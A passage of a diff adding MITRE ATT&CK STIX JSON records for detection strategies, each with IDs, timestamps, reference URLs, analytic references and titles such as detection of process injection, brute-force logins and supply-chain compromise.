"https://attack.mitre.org/detectionstrategies/DET0179", + "external_id": "DET0179" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Permission Groups Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d14cc347-9e27-479d-8347-1a5950cdd70c", + "x-mitre-analytic--56a17328-c6b0-4e3d-9404-d4b8ba967a14", + "x-mitre-analytic--ef8fa56d-882e-42da-990e-2adc3a771041" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9833b57b-4c83-4f58-b4cf-76f041b29273", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0508", + "external_id": "DET0508" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Process Injection Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--337976cc-5fd5-49e8-abcb-79f27d19382c", + "x-mitre-analytic--61282e0a-3eae-4358-8821-6c8318961e24", + "x-mitre-analytic--5439d083-91d6-4369-9406-8cfb2cf5cbde" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--16495e17-03ec-4e11-ab80-f76ed6386329", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0002", + "external_id": "DET0002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Publish/Subscribe Protocol Misuse for C2", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ee4e3e61-e138-498b-93bf-3a5f8fea691c", + "x-mitre-analytic--3ecc4ba2-bf4f-481c-b813-69c169c28c83", + "x-mitre-analytic--131d3f89-e10d-4ac9-a9d0-fcb4e8e8760a", + "x-mitre-analytic--748f457a-5dfa-431b-b5a0-3d5e1d56ebbb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f6e514c0-120a-4ab1-ae3d-aa2de14e4324", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0008", + "external_id": "DET0008" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Remote Cloud Logins via Valid Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7d4732f8-989c-4425-81c4-aa3e1bcb8d0e", + "x-mitre-analytic--ecb9db5c-55ef-48df-8ccb-f57db8c32a08", + "x-mitre-analytic--c85d0aea-06c4-4b0f-8552-0d0873394ffa", + "x-mitre-analytic--fb23f9ee-cdc8-46be-8f40-3631afbaff5a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5367273a-2f30-413e-a961-1dbd323be5b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0596", + "external_id": "DET0596" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bcc6bec5-63c7-4084-9d2f-da8b58d0f621", + "x-mitre-analytic--9c8ba5cd-40db-4214-8db1-b03b2d7b1690", + "x-mitre-analytic--1b6eaec8-141f-44f8-ae1f-387c44635c38" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--909c86ca-ddd0-4e96-8464-39f5f80ef20e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0521", + "external_id": "DET0521" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Spoofed GUI Credential Prompts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ea127140-2f66-4c3d-93ab-215c210ad6c5", + "x-mitre-analytic--c4ff3b74-bba1-4129-b246-50213e77336d", + "x-mitre-analytic--3b327a8f-0ea3-4848-b34a-58029e5edf57" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--172cff54-a89b-4207-abc2-8d0c9601025e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0195", + "external_id": "DET0195" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of System Network Configuration Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--edfec58e-e591-4057-a906-1baf3674d80b", + "x-mitre-analytic--6a57daad-9d2c-4851-a46e-b6ebac607a4c", + "x-mitre-analytic--79c196d7-abb8-4766-a875-4acafc6f059d", + "x-mitre-analytic--cb70ad2f-7c96-4669-baed-3007246b0630", + "x-mitre-analytic--e7debe02-4326-48ae-aa22-59c2a847d3e7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7578b2e3-2b9c-491d-9157-699a4bd6a136", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0231", + "external_id": "DET0231" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Systemd Timer Abuse for Scheduled Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a80f58c9-deb2-45ed-a8fb-4f3df5082874" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8103189e-83c8-4246-a56c-193e19c98182", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0518", + "external_id": "DET0518" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of T1498 \u2013 Network Denial of Service Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0eff49de-834e-42d3-9a7a-3ac032aa9836", + "x-mitre-analytic--1578f892-0644-4974-bf55-9abb802612fa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--47dd679b-1bd4-4bb7-a946-5d77fd49a939", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0295", + "external_id": "DET0295" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Thread Execution Hijacking via Thread Suspension and Context Switching", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--26ef9aef-33eb-4df2-ba82-6ace95173c80" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bb431f45-c3fe-4b98-8dd7-70346b56c880", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0178", + "external_id": "DET0178" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Unauthorized VNC Remote Control Sessions", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7c91d6c7-4591-41b1-9c08-0c0660b07d24", + "x-mitre-analytic--9032a591-de05-44c2-b1f6-3d711f417cce", + "x-mitre-analytic--b88251d3-6406-4512-a55f-a6bc3493e2ad" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4a89bf52-7be1-405d-8d02-462e52553bc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0384", + "external_id": "DET0384" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Unix Shell Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c5556dd5-005a-4c11-b028-240fa379d827", + "x-mitre-analytic--ebd61e14-852c-403b-8b50-7e15a1c32d05", + "x-mitre-analytic--52f4a572-0d43-4684-9598-6bc8cf2bffb1", + "x-mitre-analytic--2adf0c92-5d0a-459d-affc-f4abd4d406d0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--050d236f-745a-4801-add6-50cb58248615", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0093", + "external_id": "DET0093" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of User Discovery via Local and Remote Enumeration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5d024a50-97d8-4b81-8cc6-3db4fff2712c", + "x-mitre-analytic--73b31f73-bc47-45c1-9c02-fd8eaacb2f9b", + "x-mitre-analytic--0979e7f1-9d0a-4549-be8f-88979df5c8d7", + "x-mitre-analytic--a5cc0eac-af18-4fe2-ac06-88a5cfddf014" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4a7f1bc4-4396-49e1-9c75-caa6ecd64047", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0076", + "external_id": "DET0076" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0fe7a1db-759d-4d27-8ef1-a71509643594", + "x-mitre-analytic--668bc76f-04cc-4274-8a66-cfa00e83ef14", + "x-mitre-analytic--08318de4-1327-48ac-a686-403162d3891f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--baea10fc-7921-4ae2-bfe6-572c3f107303", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0464", + "external_id": "DET0464" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Wi-Fi Discovery Activity", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8d58973f-7fd7-435e-86b8-58f9b399f89f", + "x-mitre-analytic--1f3a6d61-9658-4c9b-92af-5c711206e3fa", + "x-mitre-analytic--ce2233bb-9715-4e7b-8603-7218f8bae326" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7ff1f384-2373-4ea9-9311-1587b520a5c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0477", + "external_id": "DET0477" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of WinRM-Based Remote Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9dab17bf-62c7-4187-90f4-7335790df7c0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1806ad13-6fa8-4cb0-9d91-c8a989a1d9fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0202", + "external_id": "DET0202" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Windows Command Shell Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--60d70569-0d28-4d98-957c-4676b2411685" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--18c9199f-d6b6-4efe-ac90-9a1b7b8c6f36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0537", + "external_id": "DET0537" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral detection for Supply Chain Compromise (package/update tamper \u2192 install \u2192 first-run)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a6b1e74e-6c05-4d9f-928c-63ddf558798b", + "x-mitre-analytic--86f2dfd5-7073-4178-8c83-8628ecf087d4", + "x-mitre-analytic--779b2e27-9318-46a3-aeec-765f5fb09de3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d9cf8032-7b53-4251-8519-a7ccbf6a027a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0498", + "external_id": "DET0498" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior\u2011chain detection for T1134.003 Make and Impersonate Token (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6eab700a-548f-48aa-8821-163682fe8bbe" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a9796458-df5d-467f-b037-acad6c261f25", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0274", + "external_id": "DET0274" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Boot or Logon Autostart Execution Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--aa12f037-f724-43a6-97ca-e2e706859c1a", + "x-mitre-analytic--156387d6-9b9a-49f8-834a-cf3cd5ede09c", + "x-mitre-analytic--eb0d78b0-f35d-49db-a8a5-d3cf840db6fd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6928b108-f04e-4a9b-bda5-53bb0c64ec9b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0112", + "external_id": "DET0112" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Boot or Logon Initialization Scripts Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--682bd971-c540-4c16-a25a-b928201a320d", + "x-mitre-analytic--0f8a0af6-7544-4f29-8e08-6b07dda1337e", + "x-mitre-analytic--3b218f49-59ce-44a5-a10b-889c99e78934", + "x-mitre-analytic--32199f21-430f-4c91-b2d7-a0b7409cd5f0", + "x-mitre-analytic--416b5616-a16d-4ccc-b214-5873f96e5b1f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1439efe8-4d10-4ce8-8727-458db69bae85", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0463", + "external_id": "DET0463" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Brute Force Authentication Failures with Multi-Platform Log Correlation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--db50537c-9234-4350-9bf0-838d4cffbd34", + "x-mitre-analytic--cba73580-034b-4cdd-84a2-22704d520e9c", + "x-mitre-analytic--72bf9819-b0b5-43ab-9c2d-195abe8165b8", + "x-mitre-analytic--b31fc018-6fbc-4de7-9bf2-f545b5f8f0c2", + "x-mitre-analytic--a1436a64-ffc4-4e39-a7c8-140e78336ffa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--461e3a2b-2315-4550-abb4-0bd73b0ceaa6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0341", + "external_id": "DET0341" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Clipboard Data Access with Anomalous Context", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--48e4aceb-38dd-4bf2-8074-9fee8436985b", + "x-mitre-analytic--38252d77-0b46-4e00-8732-3ce1f8491472", + "x-mitre-analytic--ab9a4c72-f7ce-4721-8c9f-c5d9c966b600" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--880c0a88-bbd5-4d71-b8bd-72fbab7d58b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0386", + "external_id": "DET0386" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Account Enumeration via API, CLI, and Scripting Interfaces", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f74ce996-0982-4e2a-86ee-5bce001ee9fc", + "x-mitre-analytic--3d124174-1e58-44e2-9f5b-f63394fb7a2e", + "x-mitre-analytic--0961ff0c-8c36-4820-948d-12855b7f5cc7", + "x-mitre-analytic--089d588f-a6aa-4083-a900-ebcae97b5bfa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--77d3b532-9c4f-4f9f-9581-3009b201435d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0309", + "external_id": "DET0309" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Compromised software/update chain (installer/write \u2192 first-run/child \u2192 egress/signature anomaly)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e3ddaba3-282b-4bd0-b316-78b724b79acd", + "x-mitre-analytic--b6f88f17-e80f-4c75-99a5-f752880196aa", + "x-mitre-analytic--86a87684-5fd5-4778-be36-5dfa07a4246d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--26580351-9bc3-4e03-b5ad-139d38303707", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + 